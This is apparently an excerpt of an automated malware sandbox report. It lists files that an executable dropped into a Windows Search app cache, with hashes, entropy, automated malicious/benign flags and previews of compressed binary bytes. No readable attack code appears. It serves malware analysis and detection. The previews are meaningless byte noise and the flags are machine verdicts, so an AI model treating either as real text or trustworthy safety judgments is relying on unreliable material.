Preview:	(func.RI.cy0.Y"D...F..E.b..F..<...A.c...C.s......q..L....M..$..Y.A..I.."..Ay.t......9.&......a ..E..K..L...:2.i.i.q.[?....j._...).._.QKq ..K.G$~@.q.^..7.5t\|...4..J..%....eC..\..m....t\.l.Qv..}....g..M...+&..3"..$~..A...v6..^..](.s..6.c`.y.Y..\|.6".0..2s.h.s..h>.H.r....E8.B...C.r@...V./..)..E..6`....(...^.....w...#......d...-.c...(..P..Z.2..&.H..$U.c.y..OR..B O.le.y...Ei...../Q.g]Qm...[.0.Py..Z=r...ND.(...6u..\.'.>..r..FH:3^......_.TD-!.......'/.w.....5.31...}k.QJ.i.....VB...v..6...I.7@R...4TC...^..<.....T..y...G_..<z.........&.#$O.BE..kI4q..X.`....K.g4.H.W....P+....qrmj3.........g...3.....#.c...ui 5..U `U.T.?.:.g.x..E.g;[.&....L!`&.c...&p.BZF...:........m.^..S}..`^..Y8.V,...X......?2.1....X.f.....B........i....U..GS].....'....@8.W..T.a.....tK.l....c>...\|)...3...k.`z,a....~b..F.q.b.... OB...............'V.......~.....Z?......{.?./d./..+z0d..R.yQ7.[..]1G...F....p.L...g..........C..B_..{<#_^!....(...5...@.+....M7.^...+....=..9...u.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\5fBhIWX2NfxoiM-aOLeKJczoLSY.br[1].js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	234417
Entropy (8bit):	7.612932636515958
Encrypted:	false
SSDEEP:	6144:YZ/h35yubNecPuXoTdtLJkognkW6MUHwaXl+0SEDtMLoc6jxETZ:YHJyubpTDLJkognkW6MUHwaXl+0SEO3r
MD5:	D9853D25A555F7FCA3A15FD3B4A41817
SHA1:	971F0561A0572E8B42D16E419A0AB2893B731573
SHA-256:	BF5A99ED7CF13048FDE3010A41ABAAA61E73534B6717A8F9343BF0C6574F0330
SHA-512:	C43649582453702CE98C7A1614360DC58791CF9EF3B4A8A343513055B4A4CCDECBEB913BF16E11341DE5E11C75FBA67EDA990BD0A737C85BA0CF193BFD8592F1
Malicious:	false
Preview:	var WI}.`..W..H(C....\e.._.wgXs}x..{'ILliU4....@..0.:.t:../......d.mt..(.......Kn.t.~.C(P.@e.K53.T.C@(..m x.......-(..0....N=...Q...s...@ln..Z...DE....;.`......BI...D...lyihn.$....Bo.>#H....H...h0U.IF.{.T#......Y._..!5..8D+f.X...7PG.>K^$.K..d-$....rt.....3....X.8..H.Qj.K.=U........9+..F..p.......,..e..<...`...V..p6{\{n<..f.....e...i.z#....s.......r.c.-W..N....l....R.uY.....<W...[...kyf...hA.....A.]S....E.S..K.X.O..8...#Qp...C^.^..k..ta..N.#.0yr}........n_\..p..3.<.a.t.0G.1x...i......F...u.eM[...H{D......V...S.P.[y.0%#."........4A.".9.".;..1.^H^..-xr\|..DLq..=.%).bd....v......"4u.....i1../....m..m(.N.2...S.~.......N.Q...Z.E1..nxA..U,..f.......xu:........y^7..."..m...MO...Q...D....N.1.z.jK..g.}h.......=.4d...T.g:....(..n..`..J._;z.}..fqW..3.U:"\|.....8qx\...cc(..g....x.#..Y.p.#>..L.v.._..R..6.......1.0..f._.x.... 3..G,.-.2.......'....5z.(T.\|.F..5..`....T..\|8R.M. .H[9..".fH....,S..E..........p...' q..9...L.mR...p.o.x....}..#..C.......D..#...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\7keH62cNTOqo8SU4xXMfYfcmvcI.br[1].js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2436
Entropy (8bit):	7.920842136968103
Encrypted:	false
SSDEEP:	48:I1zbfGgL2HPQc3SAyWC4iu0RPQsAmzMwf5lCMa8wNrhzaxD:I1ffGgLoQc3SAxi/8mf5lCdbrhO5
MD5:	FF6A1BE7A6D5EA908558D7D9876EB266
SHA1:	F141B68938D95041CA1D2D706903FB8B7C6C252C
SHA-256:	8817FC5FE498F60A2608C64761ED916BD37FFBC83666548B91F47E5FD2C864DF
SHA-512:	CD1229B62F4B94A791D941EA0446AE77BCF6900D0F380FA5FBB96BCB1AAA536FE21BC85F4DCE08EA64FEB3C26B30B69EFC553F28F738BABB962ED7A3FD6BDA01
Malicious:	false
Preview:	var W.O.gX.....U...S.....;.(..P..x.$Vwj..NxY...%h...GuZYi.....'0...-..;../..?...0N..>c\6).\?.R.pX.e_.@.y....1.h......,.....cZ.#6...-.....`...b.an.&.Rf......".~?.^.%Y,e.o........dL...].ez...4....@..8.j.z...u..77..3..]N.EOn..J..............9......./..i...`).;...;..:.%A!.N.}z:.....X.z..p..G...N.\.6.....5g.:.z?..3s7.7..V.(.,]..Bb..c...t..0......"....B..........L.b......@.`....wz........p$.<.N.N.N..(..,.y.En}.J.B.......N...K..q....W@.(42rU&M..:...<....U.E.!.....Lm..Y...Uo5.......W,..\|NGDbV..m.R....r.dX...{L.{.G.Q.K....n.\go.>8k$..a..P.....).....Ux.&.6...... .w[..gj...8..#^\|I;.#.`.C..ob.....q`.R..x..w...%N..1O.i~.....?Gg.t......p...S...r._....,9LS.w.$I.7.j4.\|...{..-..T..;...\|v...{..3....r)b.;h.....W.....d.5.\|p.}TP.]...~b......I#...FW.=kc..J.ABk..F....^(....\|.!W>..-...M..y`...J.b.6.=...v7=........q.\.!.;..,..@RF.'6.BVQ".'nN........=..1..Y..).K.....MY-D.1.Z..%.L.$..k....6.h..O.._...w..Z.b...w..T..'..p..k r.\|.zJ.oX......^.....}...*.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\8yOt-qMgl3wFFpnXBbdaeUrdWpM[1].css

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	16301
Entropy (8bit):	7.988725627628073
Encrypted:	false
SSDEEP:	384:7vfYFufCCdHdd0zN7szr0/KIEnNlzURdB2exSvN:7vfY8ZPcNs4yIsvGdssSF
MD5:	6B0F0BB7809A6638D01B8794DA08EAAC
SHA1:	893EF1F7D707C8BF87DBD8F3C32CD6F148740D05
SHA-256:	313D4C152672DBBE7599805227226C1F3C8E55A9D6A0FD721838F8000C4A5CA2
SHA-512:	24134B8302FC8E0455856D32E719921BB0A6FE1C98753CB28EAE733FBC899A23B3025A7477A32CF25A2715DC84D914A7A297EA2C7ECE6480F0C128474F123F7F
Malicious:	false
Preview:	html{....Q.......y...-.&X.n8\|<.:......_zk....M.&[..MR.=y......?.y.@.T.!....9.x8.U2~..<..TJ{..}F....'[.t........y.0...O4..z.2....q...;..!.+Cv........#].8......u.y..>..^..<+j.u..>.R.....s,3.:..$.......zf;. .yp..\|\|.%.w..2Q...Q..M..)..E..P.\|....".:.....q.t.J....y...<9y........r..b$....R.Z..._./.GxW..I....L......l$._^...;.<..%.....m.uW.R............./"....>...9...a...~..].w.....'f..J%%\.P...t...=...t..^.&].g...bUo.$....x#.....@.......D.....I^T\.m...R!jB..m....C..FC...b".....F..I.p.MG.......S-.mC..%C.(..d...BW..P...8..B...,.ix..6...Z/..Z.zT...io..u?q..>7S......U...?....M-k./.v.v,M.Y....h...HeZ..9....N.gw..=M._>.6'.f.......W..i.......8.@}..M..m.).......+..q3...jS.sQ..7G....p....P....)X...cT{5f:H.......'.D.......{....;....J.v;.].VEY>W.S+..9...l\..=%.T....<u.....Q.....C$.)w.KV.r...`9.R..O.l.P1a..)..Z....G.....A..fr...O+kRT ....@>.........[...4T[6 J!..P.n.>L.(.?..8.)Fh....~..S.......&53.l-.. s..!Qr.6.(....)!......>....Ht.E....5...\|..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\9NAKqY_tlD66IpqKerRN4qs4P0c.br[1].js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2444
Entropy (8bit):	7.926357894412077
Encrypted:	false
SSDEEP:	48:1XTxUJQSGkYCo4IeOeD/9Xf/DyagnAuWqZYquSO/l1GHoVe4SiztsG+f3D:gjGkYkIeOO/FPcZWqZYqrOWIAQJyfz
MD5:	B9C44D3DE2C0DA366831AC7B8F1EC6FE
SHA1:	528FD809673DDCE481927C40494F68868BFC54E6
SHA-256:	A63E0BD9EFC31666342C98AB9A8D2118C847BFC3B5160AE8693BD2414D6CCEF2
SHA-512:	0320D3215AA6D8FB759EC92F7E62D6FB64E5005A31E65C8017BC8B0A264042D4DFFF31D5219E0C40D6C1FA68D5321F979D58875D47ADA75D112A69B0DDF1A289
Malicious:	false
Preview:	var W....~.d;u.s;.D.]{U.....U:.2HT.<.M.....9y...i.G.SAP.2..T0.N.y...<...!.M<..BG.....R3.<in......h....rxvi.i(.TA.2..C.u...f..4$>,^..vc\|..:...c.IoP<...g....<....>5..2%F:.'h1..7C.l0...,wC.nH.>..4.....a[..F..+.e..aB4._t......ckj.O..Q.F>....-8....$f..$...V.............O.....u.D.....\l,3...:..iG....\k.o...z..++...R.3.Vq...t])e<S.A?...!.....Y...$.#..i.P..G..-s..:..P...^.[.4Q...._.7......b ....-...8u.?.h5.b../.a.!r.m=D....-HnG....b.F...}...Qq....vKd.....G.h.O.3.7~..]m..._...r..`.......k.Q.K...~..`.{......D..u.......z..`.....:......i....Q..w."#....^.=.'GJ+.........W#.K.#.....z.O.M..v....$.'-.<..u.M.{....!/...K%...;.#......(/....k..m.l.....[,......~-........&.0mQ..!.sj..d7...\|b2.9.c.Y.Nn9/.Ou..J%A.&...#..{...lL..Z..4r....1....8.P........B..:.>.`t7...v...#T.@..\|.)..{!.`p.%A..aS.oXt.Wg.]\|.....'.'Z^....j.:...X....MK..-.%jC...h.....{.1...y...JA.......W...#...).9Ma.....-...X..b..l..n"....Q.!..Y..7C...4.@B........6....h.-..P}ih..j]...nqlM.&...ly.L...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\9eNI3ykoxUBcfNRgDJaF-g0a_0c[1].css

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	9567
Entropy (8bit):	7.980081464641774
Encrypted:	false
SSDEEP:	192:+AQ/oYup6R0OuGCxlS2Szyi0mi+jZ3MNUaKjJ+IbMMh+4:zSWoRPuBlS21itjZ3gzUh+4
MD5:	5050E5D5F31379A4CF786DC035858C0D
SHA1:	4C6E358896512E2D0796165E4A487069714BDB44
SHA-256:	1B34C42DC8C39607DF79571380FA7BABAD9D072DA531B2FEEF0EDF452C3B78F3
SHA-512:	8B4396C46871AC7B0F32A4291753FC0C0A9F927E40D24A60A15DCB0053E9BF08A7D5785E78C73C07EC5099E9EA0A4AD03CBE3D30E8984C0EAA8AAFE0B21C076B
Malicious:	false
Preview:	body .RH....2..j...o..0g.%.tO%}.......$.a...i.v...At..<1..g..r.g.!.C..........M.....b....V.wjY...._.$.R.bBv....8).xlK.{.u%.NkW.4.........g...b.G.f.^VZ...O.,.u...0,..0A......D#......k......8......9...".....z.I@Zv...W.Fwx.........."\|....1...~s.'..8......~u.Hk.1.b..=..Z.I..S..).......H.E...J.2O..[t/ L^..2.q..67.b.8E....~.pC.L(..@yG 6...2.'r....1Am..r]....S^....Y..g.......Zt>....Q..n..E..s#.).~.w...{kWQ..a......y..m(%.S..m../...=.`/y.jVom......]~.2.....:.Xd_.L..5.RD.R..1.......a=v.WaK.q.).Hu..?..6..)Y&...1V.k...-..{R..?...K.\|.t sD.....pB..8Nd..d..B.-...RIR^7.......u..e><.........E....2.."..b.~...l...nj......JN.).h.E<...........a"..#e....-A..V~b.0o....L..x....L....P<..w.e.,Uz..5..]W....u..;.....,..eK_:..Pm@.I......b....q.JG..W&.p.../.<_\....q.u...T...s..?..%......t.../+(.B./.t..k\|.d@...'......}q..S;.c.....1.p....\YG.E....q.....J........l.....A.....;.%M..B..M.g?..q.?e%T...A......elz._..k.HX.."......].h...\|Ad.3U..6.]5Az..RNm..(k...KO..q.....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\D_0mE1U1YmZvpLaz5wDHB6P-DAI.br[1].js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	192924
Entropy (8bit):	7.859879390386403
Encrypted:	false
SSDEEP:	3072:gvq2ARsVQWIZeVe67weKdCvep379T8UCdkc8iVtU9jN8W6/KYA925tuwA2Zi5FUD:ObARJWIZXAweKdKeJh8PjVtUxRitVjnp
MD5:	CD659FFBF383EF77DE9B1DCA97BA1004
SHA1:	A4D87DBFD63987D4E10FD4EE77DC9C0E38023622
SHA-256:	FA38A28EDE55ED491EFC8504D7ACFD3C8EABA6E028F20E7E8DF8CE5A2250BE07
SHA-512:	066D617197EF86CD0CB12855EFA94DE00AB4F85B439DF570FDC55140A4AD4CB45764E1FA0D3CDA3745787FC31B43E0A3ECE42DBD604BBBD68FD97CA79AAFE5CD
Malicious:	false
Preview:	var WZ.,A...D.........R.I.Kh....\|8....,.........?S...cf...[..hN.d.......s....8.o.04F....Ag4."..4J.V.b@...=e.........\|....`.>..n.....w/%;....r...'>..Ag.Q)sv..s..-..T..p.h......h.[a/...&Qy8...9h]r.k.6..}..E.~/A.E4j.........f.\2.ZS;x.jx...2b....>..V;3.Cv,o..j+......Qm.{.%.W,._~.Q....r.}f.....M...c..... ..3....R..8.....7......J....7...TGP.....H6..b......)...m......2..O(s2....?.U....d_..SK}^..b..Js.r..A127.J>......r``3....B...e..M^C.%AY>Y........Z...~$.&-..VU.JE.u...y2..r.E..{.\|[vy)h.>..c...BwB(.n ...U...".........k..".7M&.6<.Z....>..k..:#.-_X.H-.....^.0....7s2..6.......mx`..T.F...]YTn.....~K9...L.;`.W.......[@.z.]p......5..=jm.!..........h..d.... o.@/..#I.A.).)+...........Ep~/Sz....r.<....1x....P.;.x.e..j6....b.}J..X.s..c.\|T.H....\.2..K8.h.....Z._...u6...{.....}r.N_..i@.Id.....XbW..Wz8#M...M.:6k.V.A.[..(.P..y...u.Li X.]S.....,....rs.R....S.s..H.6^...,.j..A...A#5.$\.....=..nN5>..'.."0.......G!j.M.....z...%....B.....#.J........N...z.,..pw3..N.7p.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\DccpWCpoNzCwM4Qymi_Ji67Ilso.br[1].js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	131722
Entropy (8bit):	7.998573569141169
Encrypted:	true
SSDEEP:	3072:AlIsni76vNKDqJxdWXHL6+vlRkVFq9fSMw:AlIsi76VxUXHGgRk0Y
MD5:	4FEE8AB8B1F17587EAD31449235E4846
SHA1:	7FB616DDFABBD39A01D23BDD131E4E27C8229C0E
SHA-256:	AF05524BA239D6AAB72253B3EBDBCD6681F8766FD98F3EEF6A0C09A0F6F28D30
SHA-512:	4EA748318CAB81A0CCAFF925A0BFDDE0526416724DC811611D5D577062FAC8D64649C7083317F77CC6678A3AB23BBD6A716C4AE91F00505FF737DF0F1EB2EBF1
Malicious:	true
Preview:	/** @.....8....:.4.2....K..T{..<..^4....O..l....ym..Bu..a..`=....X.+.X.O/..a.O.%.U..k'....r5.t.....u] .0....:.~...e.2..P...(.....C5...y.....B..Q7......`..Jy..aVh...HW.p.J7rS..f!?84..8..u..w.iQ.\|^....(.^.g.:.%.l.Zf#..[..s.I.a%,J.l..$...h.VL... ...2q.H..k.s.H.pP.e3.,.....S.W...g...l.xy.6?...&d4o7ap+..=..y......0......N.P.^.U.....M%nZ..M......!Y.P...6...4....$ 'C&`.....)r...1^..>.....D.rd.mZ..K.....Z!Tt.qJC.4....CS%.V.:....G..._.z...=K#..,..........?r...[....Tq\...q.<..O.2..X.%....0..gF7Fz9.0.u.+'.-p.g.?.X-...A...<g.k..J...../@.,........z+v.7.....t......D.....)+......o.F..3..0....'..3.c~...0_...Q...^....aH...(..73?..^.......[Bz..qVy`...eN0.z.....\|-..x?...N...Y.......3#.O..'........,.Z....Tt].....a2.X..0.{.. o0_R..@Q....\|..%.t..M..]...G.H...\|....UZ6.{.z.l......=....4<...$.4....L....Yz....b...3..2...(..zp.[Q.Z.$H8QL\.AW0-Oo$...OFY:J..h..I..m...].....X..u.S`.R.G.L....B.G<J...T&.......[B...>...Ju..WY..c..@[~]..0h...{)p ...z..E......L..U

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\EJz06avERkAqfuwcXY6H5w8dtNc[1].css

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	428901
Entropy (8bit):	7.030184020020894
Encrypted:	false
SSDEEP:	12288:3RZTvTkpd8rWd9V9EeLp00HlmZoYh0yh881S:3RZjW+Wd9V9EeLp0WlmZoYh0yh881S
MD5:	537FB97A5791E408D5DB1C33BB3B85C7
SHA1:	07B1E9C0668CB2E45F3D7B8BAD4E3FC03178A596
SHA-256:	114A1582C4FD691A414820780B6B45C275F0121498BE187B58261CA84D4414D6
SHA-512:	AE50318479E9EBFD222977A92C2385D9EF25C4D401371A7C740689D7EB1FDEF14028F0745A4CF08AC652E0C33AC62AA83A49807E74DDF2905B5537A3137192DB
Malicious:	false
Preview:	.scop.....#...9.......!........z.5.9.....g..-/...j'..2t2X'.O..\|.!.<>..X'A%;OO..W..U....K...B..S.c......Q.}..KXP.....t...........1.P..60{l~.(..........[...J.L.?/1E.3...83....{...e..,d.q..6h....%W(C.... 2n/...-.......q@uD..w...bLq.&H....d..N...??[d.x.U.....\|...fY\.F...?....8..-.i"...T`mn...v.5...d0..d.1.+.\|6.Z.R.....R........}....>..8.x.L.2..T...i........>#O..H.`!u..3..N.....K(tY...b...\|..z.(rc..7..vU.._+:...d..5...E.V......z..t.IN....g>...........w.v.L_.(.........wH...]QJ.......H.........)t.y.....)....Vk.[;.:.....X.....5x.......yj.f.'mF....4..Fy..*^.^.......CZ.h4........k.LOoif.S6..OGL..O9.=.....4.=.?..Uh.>i#u..AR.:..$'?.x....dLn...W........K&..5}........8...m"..[..!\x<9...........,nz.....)k..n}.<.".ZEO....-L.B..q...Z5@......4$w.Ns.........\.n)....2.j.7.._.Q..{(.p!...:C......e..6.....r<..'.......TR.@=.VG)w...i.@L.,$.5..t.\|.Y.....l...."b...._{......z.I.I+;\|.. K...c.....q...~..W...i..?[.S.m.C/..kC.H"TS..k..\|MU..m]<c..#,q...].%..8..&..3....=.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\EYNLM9RfkEXFtD8WH1unvJjwzGA.br[1].js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	17832
Entropy (8bit):	7.989962053404947
Encrypted:	false
SSDEEP:	384:q7/GxZqZumpO/ZqA87Mjx10W8kBqYxVW88Bpjb16uu:4+3ipO/lwMYqxVruu
MD5:	159F9CB14C2EE9764090363BA46FFEFB
SHA1:	78074ABDED74AFB83F3D0833120C1EEC025DAD24
SHA-256:	DAE2F70335359F1E75C3DA18090AD574578ED60F9A0544D015C772794BF8C350
SHA-512:	CFD9FD5A9E5851C883706FC5A28E2CD44D1D0C72A0E473BF42C8DA4B3F531E22CE3C8E3CF1B6CB31C914EEFE7CB5FE799700FD71694BF160B7F4042E3BB585C6
Malicious:	false
Preview:	!funcy.L....].."[t~..~eH....f.`.U)...)..b.bI!..XL./\...)#2...............D..7......q.....\g....a.i/..I.H.u.Ek..P...$[d..c.q\..q..p.+X...x....f....L...#..3X.6../.b...<..u..k..m..6....u#?'..^,...Pij..-.....{\q.p....c.......N..<[MT$....8.7..*tD..e...2...%5_.Vt$..\|.R.<DJw...B.r...............z.C.B..#'..1.rp..9{..1[....!.V.....X....j...y.+.B.=....~......[.........:.;..9...sR...kn5..P.gQOmX]..I.............e..V.a.u="F'F....-..k%.q.I...../...].TB~..-N...d.VqG........N.t..8.....6>..!.p....h.e.Z...%...............mtx.3.@..4.+.E.hd......NB...s.!...Pc..@....?..+...._..[...y...V.}..n..L.......9....[.....]\|......i.V..TE.&.Jp........t..&.?.:.i..'.!.S'....E.yC...!\|..j...2.....w].m....3.........0.T..P.;....?>8fP........;}......l..[..'...E.S......4.E.B.s.n....."...t.}.B/..P..>.\._..O.....`._o....\|.P...q.....h...R...$...2...b..#_>.?/.O..)...&]n.ose5+E.H.$..[.X.X'...b...,:...7...d..'/......c...5...j.bJ.{..%F...,............c....5....BC!.......~w.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\GW3DpE2qmyibnbFrEIzpiD0iGLk.br[1].js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	825
Entropy (8bit):	7.722495798164067
Encrypted:	false
SSDEEP:	24:seawmFsxMPZQ5sNMZI+rQ/aiTpp5LzRGXJMYOu62bD:seGFFasLlGXCcxD
MD5:	52E0CE57B2C1B23D8752A37792D55A28
SHA1:	B79FAA20212D75B6C1A8BC29A239B0B2524DB0B0
SHA-256:	20046A5F1FE4AFE9334C9C9F5EE60225121914376E38CDACFEB50337976BAA81
SHA-512:	D0AAA2702F4269761972637000A90E9976F91784185F9C272DC5A4ED348548ED835FAC327864A3CDA603C484730B32D94DF7B0E651430D4115961A4FAA588971
Malicious:	false
Preview:	var WIa.]..$.....K...D.o}.....kP..Z3..."..g.H.N........`.h....L../.rA.=d...V.4.....31C.. ......'...<.O.m'._U..$X.vH.h...._j.C?...sA.o....K..6.54.B.R...F..r.....2.km..R.`TO}..r..Zk?.8.. ..s...k.(.4..y.....o.......]&.c=.8.>..K..c..=S.?o).i...68:..R>>.T.p..zq..A.P[.u..o..I.u.....i..zJ.?yV.k.\|/..-"V@%.=2[..NG...u.BM.{."P.J.....Nh...B...l.O..s.Z...m......]...Z2.....m...9......8..C...........k...P........0....P.UW.&G.~.q......\|.LMR.O..N......w].....BI.:W.I..Q..7.t,]....F....\..Q..$(..=.q.Q.c....j.r...G.h.e@..u`F........ .J-.kM.....6..1P..q.?B.....2...d}...q.....3...b..w+.CNP..8..+.+dj K.....&..G.f..........m.AT.../.F3.Z`q)..:...E..G`W.a..O`..#.0]%.Q..`....S......N9..d5g\......q4.A..<h.../=....x{....TX.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\Init[1].htm

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	115252
Entropy (8bit):	7.998445261651563
Encrypted:	true
SSDEEP:	3072:aJIkfrNE5xGoCb/8WKRyO3mGyWHsHfrgtoR2O:azrNU0zPKyONyWCfKC
MD5:	1AF84B322E16156E94759D660AF511C9
SHA1:	3816CA9FE30774B9967ECD6BAF3B44F3C8993A55
SHA-256:	053FDB5927159AB753D379CE1874C0ED50C4E7E1AB4B9A7781AA999E8A002348
SHA-512:	49DE1FBFCEC93AE76F81E3E942439A319C777BB2D18A64CBAF6127E96C31CCDAA763AB66C9054F37D22598639E4B823FBFF1858B1B4347E9D23FC00C8CE4872A
Malicious:	true
Preview:	<!DOC.O...5J..(.>6Q.E.X[......<.l.n.:.q....E^$...Q8.S.^f.!...c...>.a/...YE..=....l7.Y.q{..J..gt. ...?.a7),........%p....},......Q.]....2h.".....,&Q.C5...r..,..L.m........e..b........ ..X1Z.:s....G......F..0...........m.3`..#..`....{O...zW..s..N.....2ud..A./'..T.4.....S.^.:\|E.Li...rf.O.cHx...A.".}.p=.......g.D.c.>.@R...)....!..f.$A......n..v.b..Z.h..,V....P..oP..%L;...w.r..1..8...]..L...(...C.......\..k........'.4....WG.....6?.Y...k..-......Y..'.@.b#...F?..=S.oM_q....Xx.7P..h.S.j.4.._..K.....&bl..M........'.........Z....e.@.{d....i.....S)4..m.:.>.I.TAX.V../.\.aF.e.eNw..ba!...Fn.R.Q.R....#.1.....~..,..(m..i..Zg.u(.......+...#..=\s./...c3..zj...+.....f..3..0.*Z.e}.\....73..0a..,.i.`.k.7_.K..~JG..Cl,fLh......W...i.....d.....S.'......K1..@..6........a..?.jC....e'....K`Zw...q....c.S.......$.%..@...~"...&../S..:+#......fL.4^.d9 Q.)`O.SD....=..3.-(.c.3..a...t.D.V.(Q.....6.2...{(k.....J.......J4.2..u.tt.....\.i.IM....~H....A...U..cc?Tv...!A.Z.Z."..b

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\KF9j9oJUfaaKiX-84yf0U337ge8.br[1].js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1749961
Entropy (8bit):	6.574533827335474
Encrypted:	false
SSDEEP:	49152:S/RSSUX/CjrjYz6J9dDpwBcOTvz2EsoTE+rQU03GQh:SNDuBcGjU
MD5:	14FFD3F8A2F0C7B8C478A38922259D40
SHA1:	E7EC74A813C17477E27EA18F116690CF76DC17AF
SHA-256:	CDA6DDF231C8369302E1887D021AFC45CB9CD253CFB8DF871F188AFF9B0CB801
SHA-512:	40E2BA1778AB231A830874506D6B87A42200BED89A4820A30F9864CE2EF5B7BD3A1C22B71FA69E7B9F8F961ED8A73AC86C466C51BF8B72B4085DE2AA7F297775
Malicious:	false
Preview:	(funcV...G"....`7O....pQ;b...k..I.E....R....<.;....mE.J..... .d.r....m....OU.n]U.......Lb.f2..l...).{.@....dY..EUo.C[.K_.$.&/R...#~.h.[./.4....!.&..H?eY.....y<.<...:..'....KNp.E.p..N.tj...D.ey.u.....K.B...a.t...q.1..........S..B.....?.........Ph......NnML.....:...q.WWY.2.6wEi..)@=.e......9B.eU.PTy.,4.}.$j....@.M..N .`.f.V1L.9.J..<%A..\|......+.l.=..9..{....Ev.....J$....TR.P...8M+(x............ #w%..Mqg.'..Il.]...,....Z.....v=.C..4h..IZq..\..s.F..b.nYP..`!.Kxc...#.IF...uln.y.]..."...-..Wp.C2....$..\......betRv....D...4L{6~G].....{f..P...GX..E..G...8....E.....`U....G:C.....#....R.V@.0E.........2.f....].....W.Y"5..$II..?.6u..K.g.....&c...+K..O ?.v.lmb......(..xM.a.@.u.`..._@..M... .Ey......W^n=\.Qw.7..NPw..swu.#=...h.A.c..E..E...3.yV.+._A..J.....Z . ;....bRN.........+Z.@.`.../......X.v.MF..h....C...e..gQL..__..,...v>...@...f...."8..4....S.s.$.....l2...s.}.c... `E@.+P.5....N.]..+h.b.n.%]0..Y!X....qH.].....)Y..f....Q..Ehj.V.J..`......0..e.?.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\Kwh038ybdvX_puLwdopqHydJtVM.br[1].js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	467497
Entropy (8bit):	6.284655114588033
Encrypted:	false
SSDEEP:	3072:5FSOzhuL3v7B9VeO/+a4v8pGwa0FlOBIQi3ASOokGf7eMIPhr+n4JTjAi9:5Ffzi3Vea4X0rNQi3Aokm7eMI5U4Ci9
MD5:	021C5D7218FAC74EF00959F732C23115
SHA1:	617963CA03DE4756F9C084AD24F4234B8D878769
SHA-256:	6ABDC8CE7281C0F84651CC77E01E506620AFAAEEEC58CECBB6323EA800BA0A6A
SHA-512:	88490F0764D235EA5813B7565E209A47D309D9FBDB5761E2DDBF23AA083DF0D91D8F0032B4FAE9CD4F8D01047CFE9D4722B962A535DEE9DF10325333514345AE
Malicious:	false
Preview:	var W...}.....tQ{.+.A..\.7.4i....7...`b..1...V....fWG......./......n...4V.u..l)..I.n...'......O....~+........UZB.}@...^..........\|..BS.......`..V?1y..f\`.\|).s]...l0d..uG...=.:4U.T<........Mm.MY...ga...w..,:.4...cC.pW.}....r..!.B.J..#...N...E..d...g.......;@.u.c.(...s..}E(..=.S..Rw..k.N.y.]..........A^G#.......{glFg.\|.....5.7.x/.e..;5.UWr....`..c......$\.LP..36..Q......>...>7...v......./k..%....YNN.......ST.o.5..S.....?$+B.^.....C...A?^ .W.4..Z&?A..TLy~.".....R.$.......zJ]..#..'Xs+Wg%.....<..cq.\..w.d.n...^.......4kR].Y.4..:.t.(..f.z.......I{..@.M...y.;>.......W.7..vOr..').{...8l...D...._x..i...h2..;X....R....c'wz;.I...j...*X.@.$.(i)...4..0.J...2.5..._.6..ZD....'.....g...P./o.....oq.Q..E....w..;y0.....J.......qzu.k.[..).eo..N$g.7......Li!..._.c.oZ...c....h.5;.U.c.~..(O.2.:.-.........R.c.U..kG.U...$t.]...y_L..d..l: N$...............\|.X.=..DB}.....%.lKh......J....R.{.Rm..W.@..ew-/.O...$\|h...&D.rxWyf.Hp_...z.g&br.......&J..MW../i;.Y....`.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\KzWxoKDHqNy24XFwlA6xWw89_DA.br[1].js

Download File

